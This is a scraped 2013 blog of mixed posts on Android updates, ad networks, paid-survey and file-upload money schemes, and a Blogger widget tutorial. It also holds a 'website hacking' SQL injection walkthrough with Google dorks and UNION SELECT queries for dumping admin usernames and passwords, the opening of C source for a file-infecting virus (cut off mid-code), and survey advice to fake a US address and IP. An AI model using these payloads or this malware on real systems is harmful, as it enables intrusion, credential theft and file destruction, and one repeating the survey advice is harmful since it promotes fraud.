Although It is currently unlikely that you'll encounter an major security risk, but small viruses and spywares have been targeting android now more than ever. The Android 2.3, AKA Gingerbread has been attracting special attention of hackers, In the last month Google Removed 32 Malicious Apps from the Play Store Which have already attacked some of the devices. In the last year, Over 33 Million Devices were found infected, Out of which 43% was Android 2.3.

How Fragmented Is Android, You Wonder ?

The Latest Version, Android 4.2 Aka JellyBean Is only available on a small fraction of the installed base. Android 2.3 And Android 4.0 Consist of 60% OS Installed on current android mobiles.

So What Is The Main Reason Behind This Fragmentation ?

Updates Does Not Make Up Money For Manufactures :

We all know, When the companies try to sell their Mobiles, they promise us all kinds of things like epic customer supper, great warranty or Promised Updates, But Only a Margin of Companies keep their word.

Most of the companies are focused on making money, and the easiest way of doing that is to make your upcoming mobile something we ( The Users ) have never seen, So They put all their manpower to the new Devices. The Companies cannot afford to upgrade their old mobiles so they don't give a Flying F*ck About older devices.

Too Many Difficulties In Launching The Upgrade :

You Got Updated To The Latest Version Of The OS, Great, See What happens behind the curtains :

Google Develops And Launches It New Android For Nexus Series.
The OS Is then passed on to the partner manufactures.
Manufactures Cast The OS To their requirements like modded Interface, Pre-installed Apps Etc.
The Modded OS Is then tested on Devices.
The OS Is then sent back to Manufactures Programmers to fix the bugs and enhance performance.
The OS Sent Back To Testing Again.
If Passed, The OS Is then made available to users.

With The First leaks of Android 4.3 Going Viral on Net, And Android 5.0 (Key Lime Pie) Delayed for the time being, Google has a lot to work on if they want to keep Android Alive And Exclusive, Else it might end up like Windows CE OS.

This Means Forcing Manufactures to push Updates often and faster, Unlike Samsung, Who Took 6 Months to release it's Android 4.2 Update.

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Best Blogger/ Website Service

2013-09-08T18:12:00.000-07:00

Best Services To Make Massive Money By Blog/Website

And Which Service To Choose.

In this world where everything is available on Internet, weather its News, Gossip, Tutorials, or Homework. There opens a golden opportunity for "Online earning". There are many ways to earn online, like form-filling, forums,surveys, but the best and most yielding method out there is to Make Your Own Website/Blog, And start hosting ads on it !

It is pretty easy, Below You will find a through comparison on the most popular monetizing services which will give you most of the money you can get.

So Let The Comparison Begin :

1 - Google Adsense :

In 2003, Google introduced a new ad delivery mechanism for website known as Google AdSense. Earlier Google AdWords ads were only available for publishers with more than 20 million impressions per month. AdSense can now cater to small niche website and blog publishers by bringing in content targeted advertisements to their websites.And you know you can trust the name of Google !

Ads Type :

Standard 468x60 banners (upto 2 ads) Most Preferred .

Leaderboard 728x90 banners (upto 4 ads) Used mostly at the end of page or starting.

Skyscraper 120x600 (upto 4 ads) Used on the side of content.

Inline Rectangle 300x250 (upto 4 ads)

How much do you earn ?

Based on Google "User Interest" algorithm, ads displayed on the site are very interesting to user, and thus give more earning, Google AdSense works very well for content targeting with more than 100,000 advertisers in their network. The ads are less intrusive (text based), but very relevant to the visitor's interest resulting in higher CTRs. Websites with a lot of content should give AdSense a try.You will get ads that will make you anywhere from 0.07 cents to 2 Dollars.Depends on your site traffic.

2 - Infolink's :

Sure you cant beat Google in the field of online earning, but since it does NOT supports illegal websites (adult content,Hacking tutorials,other stuff) you need other service, This is where Infolink comes in,The major advantages of infolinks are : Easy to join, No additional space is required on site, Gives High CTR, Has Maximum revenue sharing, ads are very user friendly, And Gives Real time reporting.

It is very good for small bloggers who have been disappointed by Google adsense.

Ads Type :

InFrame - Monetizes unused screen margins, framing site layouts with display banner ads

InSearch - An overlay that appears when visitors arrive via a search engine

InTag - A tag cloud of keywords at the end of blog/webpage.

InText: In-line text advertising that has been the staple of Infolink product line for years

How much do you earn ?

Well i will not go to any statistics, and say by my personal experience, Infolinks ads will make a good amount of money, since i got ditched by google, in the past 7 days, I have made 1.7 $ , and that is very good.Sure by using infolinks on your site/blog you site loading time will increase by 1-2 seconds, But in case of new bloggers, Infolinks beats Google Adsense .

3 - Chitika :

Much like AdSense, Chitika is a display advertising network that primarily aims to provide advertisements that are relevant to the content. The big difference is, the ads displayed are driven by the visitor’s search query, not directly by the content on a given page. Also, similar to AdSense and other ad networks, you are paid per click, which you’re probably very familiar with.Personal Advise : Only go with chitika when you need instant ad-hosting".

Ads Type :

Standard Ad Unit : Much like google 460x60 banner

Local Ad Units : Looks like a clone version of the above but it is tailored specifically to user requirements.

How much do you earn ?

Based on my experience, Earnings per click are fairly low , requiring you to have strong traffic (base of 60000+) and/or a high click-through rate to see good earnings.you get an approximate of CTR : 0.32% and EPM : 0.30 $, and the shown ads are pretty boring, but somethings that i like about chitika are : Once you have an account, you can put ads on any site without requiring further approval and you only need 10$ , which are pretty easy to get, to cash-out.

4 - AdBrite :

Having the second largest network after Google adsense, AdBrite has more relaxed terms and conditions than othercontextual advertising networks and more accepting of smaller publishers including blogs.To set up their ads, First the publisher needs to login to Adbrite account and set up what are called “ad zones”. In the “ad zones” you need to provide your website URL, description of your website and you will be able to choose up to 50 keywords that are related to your website.

Ads Type :

Full Page Ad

Leaderboard (728 X 90)

Banner (468 X 60)

Skyscraper (120 X 600)

Wide Skyscraper (160 X 600)

Half Page Ad (300 X 600)

Medium Rectangle (300 X 250)

Rectangle (180 X 150).

In-Text ads – Key Word Contextual Targeting

How much do you earn ?

AdBrite online advertising network pricing based on CPC (Cost Per Click), PPC (Pay Per Click) and CPM (Cost Per Mille).I have never tried it but my friend has got 30$ in 4 months by his new website, So i guess this is a good bet for new bloggers/websites.

5 - Media.net

The main benefit of Media.net has is it’s earnings. I had only used them for a week and was gaining on average $2.00 RPM. Now, compare this to Google’s $1.20 RPM, it’s $0.80 extra per thousands views! But media.net has a whole bunch of drawbacks too, like : no live statistics, lack of user control, etc. And the most bad thing about media.net is that it has a very tough to get your account approved. A fistful of peoples get approved the first time they applied.

Ads Type :

Every Ad-Size that google adsense supports.

300×600 half page.

600×250 X-large.

600×120 horizontal medium.

How much do you earn ?

As I told you before, Media.net is the highest paying service in the online advertising world, but you need at-least 20000 monthly users for getting approved, so it would be a good idea to start with adsense and later on upgrading to Media.net.

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Paying Websites

2013-09-08T18:05:00.000-07:00

TOP 20 WEBSITE THAT PAYS

Paying Online Companies

These are the best websites online that pay you cash and what you need to do....

Google adsense – Basic advertising network, allows you to apply for video/app/game advertising too from the same account (can use your Google account). Click here.
Skimlinks – Automatically ad’s related ad links to your forums/blogs where you mention services and products, for example Samsung television.
Infolinks - Get paid for displaying contextual link ads on your website ( e.g. the script picks up keywords in your websites pages/posts and displays an ad when clicking on the keyword (highlighted with the colour of your choice).
Pay per post – get paid to write articles
Get paid to review and promote products Reviewme.
Get paid to start your own blog Blogetery.
Sharecash – Get paid for downloads (ebooks, software, music etc..)
Get paid to promote websites and more MyLikes.
Get paid to comment on forums and blogs: PostLoop.
Amazon affiliates programme: Read more here.
Get paid to sell your images (Fun and rewarding, if you like photography) To be honest anyone can do this these days as we all have cameras that are powerful enough to produce industry standard images in the right situations. Click here
Cashback websites (e.g. Topcashback) – Get paid for shopping online, and even get paid for taking free trials of services such as Netflix and Lovefilm: Topcashback. There is often a lot of “free cashback offers” check them out, they track quite well and tell you the success rate + how long it takes to track.
YouTube, pays you money! Come up with a good YouTube series or a video that goes viral and you could be making some nice money from your videos (You’ll want a Google ad-sense) Tips on making money with YouTube videos here.
Get paid to answer peoples questions and have fun at the same time! Justanswer.
Get paid to refer customers to 1000′s retailers, products and services, household namesAffiliate window.
Get paid to refer customers to 1000′s websites/services/product sites Clickbank.
Get paid to promote video ads on your website (they are quite cool and interactive ads, you may have to be invited or request to be invited to some campaigns unless you have a good record.) Unruly Media.
Earn money writing and proofreading articles as a freelancer, some jobs can be in the 1000s. Make sure to take the tests on the site to improve your credibility and search visibility on the site. Odesk – More tips here.
Get paid $5 to solve peoples problems, Fiverr, or to sell services, or design things for people etc.. (Safe, uses Paypal), very safe.
Get paid for the links that your members on your forum share, LinkBucks Subscribe for Email Updates

Online Survey

2013-09-08T17:57:00.002-07:00

REAL PAYING SURVEY SITES

SURVEY BEGINNER
Do You Desire To Make Money From Paid Survey As A Nigerian ... Then Quickly Read This Article & Start Making Money Easily Online Taking Paid Survey & Cash Your Money In Your Bank Account.What Are Surveys? surveys are simple questions asked to ascertain a fact or to get a data. Online Survey – That’s taking surveys online. This is a situation where companies pay you for your opinion about their products or services. It’s one of the ways to make dollars with little or no money
. Many Nigerians still believe that one cannot make money from survey. That's a blatant lie! The truth is that you can make good money in survey if you have the key.The key is nothing but the right information! This article tend to treat all the prerequisite for making it big from survey job: THINGS YOU SHOULD HAVE BEFORE VENTURING INTO SURVEY BIZ:

1. A Foreign Address

You need a foreign address preferably US Address. The reason for this is that most paying survey sites do not accept Nigerians. you need a foreign address to be able to take part in such surveys. Even for the surveys that accept Nigerians, using a Nigerian address will make you receive lesser surveys, hence you make less money.Use a virtual address: Brother[ maybe sister], This is the most important aspect of the whole deal. Listen 98% of online survey jobs will not be sent to you, if you use a Nigerian address. This is a secret may don't know. Miss this part and I doubt if you will make more than $30 in the whole of this month. I will explain in a separate topic how you can get a foreign address with ease.

2. Payment Option

The main payment option most Survey site use is either PAYPAL or BY CHECK. You will need to open a paypal account to use in receiving your earnings from these survey sites. For survey sites that pay via check, there is a way out. do not bother yet, I am going to let you in on the insider information towards opening and managing a paypal account securely from Nigeria. I will also be treating the easiet way to receive your checks in Nigeria here. All these will be in a separate page.

3. A US phone number

To get this, go to www.k7.net and you'll get a free US phone number. This number does not ring directly on your phone, rather it sends all your calls as voice mail to your email which you can later listen to with your ear phone.

4. You will need to change your IP

You will be taking part in most surveys as a US citizen, hence you're not required to take surveys from a Nigerian IP to avoid been banned. I advise that before you take survey, first check the IP location of the computer you are using. You can do this by typing in www.ip2location.com and you'll be able to see the location of your ISP. If your ISP is not US, it's strongly advise you take survey using proxy like www.ninjacloak.com,www.hidemyass.com. Once you're at any of these site, you will find a space to type in the url of the survey site, type it in and access the survey site from there. However, the above IP changers are temporary. If you need a permanent IP changing software, you can get one from me at a very low rate. Call for more details. 5. Fill the Registration Form Completely

Nobody is a fool, especially a large corporation like survey companies. When registering, ensure you put in your full and original information correctly. This is the secret that many Nigerians don't know about online survey. For example if while registering is a survey company, you are asked what field you are into, and you choose an Internet user. The truth is when a survey job that is related to a health product is available it will not be sent to you. Unfortunately you cannot escape this but ensure you put in your full and correct information. Use a different email address from the one that you are currently using so that when the jobs start coming they wont affect this other, depending on what you are doing with it anyway.

6. Be ready To Work Hard

As Hard Work Begets Success. Don't expect the survey job to do themselves. Always try your best to put the information you get from this blog into sincere practice if you really want to make money from survey business. Simply do your best and leave the rest for God! One sure thing is this: if you strictly follow the stipulations of this blog, you MUST earn some good dollars in the shortest possible time you can! No boasting Once you have the above in place, it will now be time to go into the biz proper. Below Are Few Of The List Of My Top Money Making Survey Sites...All Of Them Are FREE To Join. This website is your free key to getting paid to take online surveys, complete offers, read email and more. The websites listed in our directory have all been CONFIRMED to PAYOUT. Best of all, everything here is absolutely free! Be sure to read the strategies revealed in this blog for great information on maximizing your potential to making great money and great resources. What are you waiting for? Go get Paid! IMPORTANT NOTICE: Do not Click On The Survey Links, Instead Copy Link And Paste It In the browser page of http://www.ninjacloak.com/or any one your are using, then you will be able to access the site successfully. If you have installed the IP Changer software, then you can click on it and the page will open successfully for you to start making money.

3 Top Paying Paid Survey Sites For the Teens of US
Making money with surveys is very easy for teens. There are lots of free-to-join paid survey sites which conduct surveys especially on teen's issues. Teens like you are very important consumers for global companies. So, they conduct surveys to know which types of products you like. They are willing to pay you for your views to improve their teen based products. There are some sites in which you will get paid for playing video games, listening music and watching unreleased move trailer. Taking online surveys is good for making your pocket money, because it doesn't need any special skill and also you don't need to pay anything in order to join those sites. So, here are the top 3 good paying paid survey sites for the teens of US.
To get started, register yourself on the websites to take part in such deals and start making money. Ensure your profile information is kept highly confidential and will be used to take you to the right categories of activities based on your interests so that you can have fun, opine, have healthy discussions with like-minded people and earn survey rewards. You wouldn't want to end up getting unsolicited calls or requests, thanks to the personal details you have provided. You may also want to explore the option of linking to your favorite social network and get requisite intimations on the on-going activities on your social network. You should also verify if you would be provided with the requisite details of every activity like activity period, rules and regulations, a reminder before the activity deadline, reward details for the activity etc. before you take part in any survey. Check if you are informed about even the minute details of every activity like additional guidance and activity assistance details
# 1. Game Vance
If you love to play video games, then you should join this site. You will be offered to play free version of PC games and you will get paid for playing games. They take your feedbacks to improve their pro versions. If you play games well and score high, then you can win cash or prizes like an ipod, a digital camera and many other things.
# 2. Global Test Market
Global Test Market is one of the best paid survey sites for teens. It pays well to its members. A 14-year-old teen can join this site to make money. The best thing of Global Test Market is that its point system. You will earn some points for taking surveys. If anytime you don't qualify to complete survey, then you will also get some points for taking survey. Its 1000 points are equal to $50 and it is the minimum payout amount for the Global Test Market.
# 3. Cash Crate
Cash Crate is most optimum site for anyone to earn money online. Cash Crate offers you to complete lots of surveys and offers for getting paid. It has lots of free offers for its members. There are also some offers in which you need to use your credit card. This type of offers will give you much money rather than free offers. It has also some programs in which you will get paid for shopping online. Its minimum payable amount is only $20 and payment is sent by check.
Try to read a few paid surveys online review which is available on the internet so that you can have more information from different people who have tried out this kind of online jobs. From different kinds of forums, you will be able to get ideas with regards to what sites to join and what to avoid. It is a fact that there are already
a lot of victims of paid surveys zone scam and of course they do not want it to happen to you that is why they have shared it on different forums and reviews so that you can avoid being the next victim
Taking online surveys is good for teens to make money online, because it doesn't require any skill and laborious work. And also, legitimate paid survey sites are also free to join. So, you don't have to invest money in order to make money. Enjoy paid surveys and make your pocket money.
Make $500 to $3500 per month from home. Let's be honest, the day job simply does not pay enough! Free survey opportunity is your key to success, remember surveys should pay you, not the other way around!

I RECOMMEND SURVEYPOLICE FOR ALL NIGERIANS IT WILL HELP CHOOSE THE BEST SURVEY SITE THAT WILL PAY YOU AND ASLO LET YOU KNOW IF THE SURVEY COMPANY IS WORLDWIDE

Pay Per Lead

2013-09-08T17:53:00.001-07:00

PAY PER LEAD (SITE)

PAY PER SIGN UP PROGRAMS

These are other programs that you can sign up and make money from without owning a blog or website.

You can join to maximize your earning with less online experience.

GoToMyPC.com

$30 Per Lead Pay you $2 to $10 per trial sign up, and $30 per free

eCampus.com

eCampus.com bookstore will pay you $1.75 per FREE online

registration! Join here http://www.ecampus.com/affiliateprogram.asp

Picture.com

Picture.com will pay you $2.75 per lead that enters a photo contest.

Quality Health will pay you $1.20 every time a visitor you send to their site enters his/her

email to get free Health samples!

YorkPhoto.com

will pay you $12.00 for every lead you send that signs up and gets 10

prints.

TaxHelpAttorney.com

Is a lawyer merchant that will pay you $10.00 for every lead you

send that fills a 5 field sign up form.

GameTap.com

Is a games merchant that will pay you $20.00 for every FREE trial by a lead.

What More….

Yes, I have succeeded in showing you some pay per sign up programs that you can start

today and be making at least $300 weekly. I must tell you this, for you not to lose focus,

concentrate on few for the start. Later, when you start seeing the money, you can go into

more.

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Blog Widget

2013-09-08T17:47:00.000-07:00

BLOGGER MUTLI TABBED WIDGET

Hi Friends, Today I am going to share how to add multi tabbed widget for blogger. I have seen that there are so many tutorials on the web regarding this. But as I thought these are really complicated.I am writing very easy and simple tutorial which will guide you to add this widget to your blog’s sidebar.It looks very nice in your sidebar. This widget works based on jQuery and jQueryUI.

Live Demo

How to Install This Widget on Blogger?

Steps...

A. Adding Script Code

B. Adding CSS Theme Code

C. Adding HTML Code

Adding Script Code

How to add HTML-CSS-Javascript Codes to your Blog ?

This is very simple and easy you only follow below steps and add this widget in your blog.

Step 1 Log-in to your Blogger account.

Step 2 Backup your Template.

Step 3 Click on The Template>> Edit HTML>> Proceed.

Step 4 Now find [by pressing Ctrl + F ] this code in the template:

</head>

And immediately Before it, paste this code:

</script>

</script>

$(document).ready(function() {

$("#tabs").tabs();

});

</script>

Adding CSS Theme Code

Select One Theme and Place Theme code before </head> tag

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/base/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/black-tie/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/blitzer/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/dark-hive/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/dot-luv/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/eggplant/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/excite-bike/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/flick/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/hot-sneaks/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/le-frog/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/mint-choc/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/pepper-grinder/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/redmond/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/smoothness/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/south-street/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/start/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/sunny/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/swanky-purse/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/trontastic/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/ui-darkness/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/ui-lightness/jquery-ui.css" type="text/css" />

<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/vader/jquery-ui.css" type="text/css" />

Adding HTML Code

Now let's start adding it...

Step 1. Login to Your Blogger Account.Go to your Blogger Dashboard.Click on Layout tab from left pane and click on Add a Gadget link.

Step 2. After click on Add a Gadget link A pop-up box will open now

with many gadget list, Choose HTML/JavaScript from the gadget options by clicking the blue plus sign for that gadget.

Step 3. Select 'HTML/Javascript' and add the one of code given below.

Step 4. Now Click On Save 'JavaScript' You are done.

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Mysql

2013-08-30T07:05:00.001-07:00

MYSQL WEBSITE HACKING TUTORIAL PART 1

What is SQL Injection?

SQL Injection (Or SQLi for short) is a method of code injection into Structured Query Language (SQL) databases. It exploits a security issue where a user's input is not correctly filtered, usually due to poorly coded query language interpreters.
Consider this code:

Code:

statement = "SELECT * FROM `members` WHERE `user` = '" + user + "';"

The above statement selects the specified "user" from the "members" table. Do you see any problems with this? Consider the following input as a username:

Code:

' or 'x' = 'x

When the database tries to pull up records of that username, this is the resulting query:

Code:

SELECT * FROM `members` WHERE `user` = '' OR 'x'='x';

Now, as you can see, the username is actually completely blank contained within the '', but the following OR statement will return true, as 'x' always = 'x'. Due to this problem of incorrectly filtering database queries, the hacker can input his/her own malicious code.

The above was just one example of SQL Injection, what we will be learning in this tutorial, is integer based SQL Injection using the ORDER BY and UNION SELECT queries.

Googe Dorks?

Before we get started on the rest of the tutorial, you will need to know what a Google dork is, and no, it's not the kind of dork you are thinking of!
A google dork is a small search phrase done by the hacker to find sites vulnerable to SQL Injection. Usually this search term will be very small and it will look for specific lines of text within the webpage or in the URL. I've included some here as a start:

Code:

inurl:trainers.php?id=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:Pageid=
inurl:games.php?id=
inurl:newsDetail.php?id=
inurl:staff_id=
inurl:news_view.php?id=
inurl:humor.php?id=
inurl:pages.php?id=
inurl:view.php?id=
inurl:detail.php?ID=
inurl:publications.php?id=
inurl:Productinfo.php?id=
inurl:releases.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:section.php?id=
inurl:page.php?id=
inurl:newsid=
inurl:news_display.php?getid=

Is my site vulnerable?

Now after you have found a site using a Google dork you need to check if it is vulnerable to integer based SQL Injection. To do this, it's simple. All you need to do is add an apostrophe ( ' )to end of the URL. You should get an error similar to this back:

Code:

Error executing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\\' ORDER BY date_added DESC' at line 1

If you get this error, it usually means your site is vulnerable!

ORDER BY x--

Our first step to accessing the database, will to be find how many columns there are in the site. To do this, we use the ORDER BY x-- query (x being an integer variable). Example:

Code:

www.examplesite.com/index.php?id=5 ORDER BY 1--

We want to keep increasing "x" until we get back an error. So why? Imagine our database has 4 columns, if we try to order by the 5th, it can't access it. It doesn't exist. So if we get an error on ORDER BY 5--, it means we have 4 columns. Here is an example:

Code:

www.examplesite.com/index.php?id=5 ORDER BY 1-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 2-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 3-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 4-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 5-- (Error)

We can now determine the site has 4 columns.

UNION SELECT

We use the union select statement to combine the results of multiple querys in our SQLi. To test if it works, go to our sites normal URL, and write "UNION SELECT 1,2,3,4--" (without quotes) after it. In our example, we use "1,2,3,4--", but on other sites, you will usually have a different number of columns. Example: On a site with 5 columns it would be "union select 1,2,3,4,5--".

Code:

www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,3,4--

You have probably noticed several numbers have appeared on the page. This is the vulnerable columns we are going to use for our SQLi. In our example, column 3 is vulnerable. You have also probably noticed I have replaced id=5 with id=-5. The reason for this is that sometimes our query on the page will be covered up by text or images, making it hard to find, or only viewable in the source code. To bypass this, we try to get the site to call a non-existing page (id=-5, there are no pages with the ID of -5). Usually this will result in the page being cleared of all text and images. If it doesn't work, just remove the - and continue on as normal.

VERSION()

This will be one of the easier things to do and understand, the name of the query itself is self explanatory. After we have tested UNION SELECT (and it works) we simply input VERSION() into one of the vulnerable columns in our URL, example:

Code:

http://www.examplesite.com/index.php?id=-5 union select 1,2,VERSION(),4--

We had 4 columns in our example and the vulnerable column was number 3. We have replaced the number 3 with VERSION(). You should now see the SQL version of the database. This tutorial will only deal with Integer based injection on SQL version 5 and above.

If our target has a version over 5, continue reading, if not, you need to find a new target or read a different tutorial.

Table_name

Now we are going to get into the tables. This is where all the information you are looking for will be kept, but first, we need to find the table names. To do so, replace VERSION() with group_concat(table_name). Then after your last column number, add "from information_schema.tables--". Example:

Code:

http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(table_name),4 from information_schema.tables--

What this code is doing, is combining the queries of column 1,2,3 and 4. In column 4, it is selecting all possible table names. These queries are then taken from information_schema.tables. You should now see a list of all table names on the screen.

Column_name

To find the column names we do the same thing, but replace tables with columns, but we include which table to get the column names from. What we want to use is a table which seems like it would include some good information, for our example, we are going to say we found the table "admin". Example:

Code:

http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(column_name),4 from information_schema.columns where table_name='admin'--

Here, as before, we are combining the queries of 1,2,3 and 4. In column 3 we are requesting all of the column names from information_schema.columns, but this time only from where the table_name is equal to "admin". Otherwise we would get the name of every column in the database, and this would just take much longer to go through.

Magic Quotes?

One common problem when completing the Column_Name stage is that they still recieve an error. This can be frustrating to those new to SQL Injection, so I'm going to cover the reason for this.

The problem here, is that the admin of the site has attempted to outsmart you by using "Magic Quotes". What this does, is it only allows you to select from the table if the table_name is in hex. You can convert your table name to hex by going here: http://www.swingnote.com/tools/texttohex.php

Our query will now look like this:

Code:

http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x61646d696e--

You have most likely noticed that if you convert our plaintext column name into hex, the 0x isn't shown. The 0x is something we put in ourselves, which tells the site that the following text is going to be in hex.

Extracting Data

To finish off, we need to extract the data from the columns we have chosen. Once we found out the column_names, we can then use them in our group_concat() query to get exactly what we have been looking for. In our example, we will have found the column names "username", "password" and "email.

Code:

http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(username,0x3a,password,0x3a,email) from admin--

This query extracts the usernames, passwords and emails from the admin table. Remember I told you what 0x does? Well you will notice it again in our last query. 0x3a is the hex code for a colon ( : ). It is used so we can seperate our results easier, by doing this, we will get returned the following:

Code:

ExUser1:ExPass1:ExEmail1
ExUser2:ExPass2:ExEmail2
ExUser3:ExPass3:ExEmail3

This is a quick guide that can be handy while dealing with SQL injection attacks. You can post your comments and feedback here.

Happy hacking!

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Online Income

2013-08-30T06:57:00.003-07:00

WEBSITES THAT PAYS JUST FOR UPLOADING FILE AND SHARING IT

Internet has so many ways you can make money, as a new blogger, you might wan to have various sources of income as you wait for your blog to stabilize and start making a good passive income, during that period of blog maturity,
you can take advantage of these top file uploading sites which will pay you for uploading files.

You do not need any experience or special training to upload files on any of these sites. You can make some great cash uploading files, though you have to upload files which people are searching for. In this case you can try using the Google Keyword tool to see which files are being searched for most and then upload those specific files using targeted keywords. The money you raise out of these ”FILE UPLOADING SERVICES” can be used to pay for SEO for your blog, pay for hosting and other small bills to expand your blogging business. This is a not a get rich scheme, you will get paid each time you upload files to their servers, then when other people download those files, your account will be credited. The amount paid varies per company, so I suggest you join them all and see which site pays more.
So how do these sites make money?
The trick is simple, many internet users are searching for free files for download, these files can be videos, website templates, academic files, music, movies, eBooks, etc. So whenever you upload a file on any of these files hosting website and that file gets lots of traffic and downloads, the owner of the file hosting website will make lots of cash from Adverts displayed on download pages and you as the owner of the file, you will get paid a commission / a percentage of what advertisers pay to that file hosting company.
So, if you’re a student, you can upload all academic files in your reach and help other students get access to this information. Each hot file you upload will make for you money forever
Docstoc.com: You can join this service for free and start earning passive income by uploading files. To make money with Docstoc.com, you will need to use your Google Adsense Code to monetize all files you upload, and then you will share income from your account with Docstoc.com. The only issue I see with this service is that Docstock.com will take 50% of all income generated by your account. So to make a good income, you will need to upload most searched files, the more traffic, the more downloads, the more money you will make.
Depositfiles.com: Just like its name, deposit files and get paid. It is that simple. With Depositfiles.com, you will get paid $25 per 1000 downloads of all files you uploaded. But make sure you don’t try to scam the system by downloading your own files, because you will be recognized and your account will be terminated. You can upload any type of files on Depositfiles.com i.e. EXE, MP3, MPEG, AVI, RAR, JPG, PDF, etc…Make sure your files are unique and use keyword based titles so that search engine users can easily find your files via search engines.
Uploading.com: Unlike depositfiles , Uploading.com will pay you between $1-$100 for each 1000 downloads of your files. However, they have a basic payment of $20 per 1000 unique downloads which means Depositfiles will make you more money than Uploading.com. Payments can be made on a daily basis using various epayment systems which include; Paypal, Webmoney, Epese and Epassporte. Make sure you read their terms and conditions before using their service.
Crocko.com: You can also give a try to Crocko.com, with its premium account; your files will stay on the server for a longer period. If you signup for a free account, your files will be deleted after 60 days. When it comes to payment, you will get $1 per 500 downloads. Dam, that is too little.
Shareapic.net: You can share your pictures and files with friends and get paid. It quite interesting, because you will be interacting with your friends and at the same time you will be making money. So for every 1000 views per picture, you will get paid $0.22 cents, it is not too much money, but you will lose nothing. Many people are using free picture sharing networks which don’t pay them a penny for picture views, yet those companies are making lots of cash off your picture views. So why not Join Shareapic.net and paid for sharing your interests and personal photos.
Uploadables.com: Making money while uploading files online has become so popular and it can become one of your passive income streams. With this program, you will get paid $20 per 1000 downloads of your files. So to make great cash, you can use both Depositfiles.com & Uploadables.com. You will also get paid a commission of 20% of your referral earnings.

ShareCash.org : All the other file uploading sites on the list, will pay you per 1000 downloads, with ShareCash.org, you get paid between 40 – 80 Cents per download of your files. So the more downloads you get on your files, the more money you will make. To make serious money through uploading files, work with more than 3 file sharing networks. You can be paid via Paypal, Western Union and Alertpay. If you refer new users to the network, you will earn a 10% commission. In my opinion, this is one of the highest paying file sharing sites online.
TurboBit.net: With this service, you will get paid $20 per 1000 downloads of your files. It is not so different from other file sharing sites listed on this list, but you will get a 60% commission on all premium referrals. When you refer other users and they subscribe for the premium package, you will get a cut of 60% of the money they paid to join the premium package.
Hotfile.com: Unlike other file sharing sites which will pay your per 1000 downloads, this site will only pay you using their affiliate program. They have premium packages for users who want unlimited storage, so you will get paid 50% on each premium sale you make. According to my experience, it is not easy to make affiliate money through sales, because people tend to like free things , so you better measure your skills well and select which file sharing site on this list will make you great cash.

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C virus

2013-08-30T06:55:00.000-07:00

Create Virus in C

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file
and so on. Here’s the source code of the virus program.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
